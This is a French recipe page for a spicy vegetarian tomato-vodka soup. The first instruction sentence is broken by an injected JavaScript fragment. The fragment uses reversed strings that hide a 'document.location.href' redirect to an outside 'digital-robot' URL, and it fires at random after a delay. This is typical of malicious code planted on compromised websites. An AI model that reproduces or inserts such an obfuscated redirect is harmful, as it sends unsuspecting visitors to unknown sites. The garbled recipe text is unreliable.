Potage Bloody Marie épicée
2021-05-02- Thématique : Végétarien
- Niveau : Difficile
Égouttez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates pelées. Rincez, séchez, coupez en deux le poivron rouge. Ôtez les graines et la peau blanche. Détaillez-les en fines lamelles.
Ingrédients
Égouttez les tomates pelées. Rincez, séchez, coupez en deux le poivron rouge. Ôtez les graines et la peau blanche. Détaillez-les en fines lamelles. Même chose pour le piment. Coupez en fines rondelles les branches de cèleri. Dans une cocotte avec moitié beurre, moitié huile, sur feu vif. Faites revenir le poivron / le piment / Le cèleri / Salez / Poivrez / Couvrez et laissez mijoter pendant 30 minutes à couvert sur feu doux.
Incorporez la tomate pelée. Couvrez et prolongez la cuisson de 10 minutes sur feu doux. Mixez. Versez le potage dans une casserole, versez la vodka, le jus de citron, la sauce Worcestershire. Faites chauffer sur feu doux.
Goûtez l'assaisonnement. Répartissez le potage dans des coupelles. Parsemez d'aneth, déposez une rondelle de citron et dégustez.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
Etape 15
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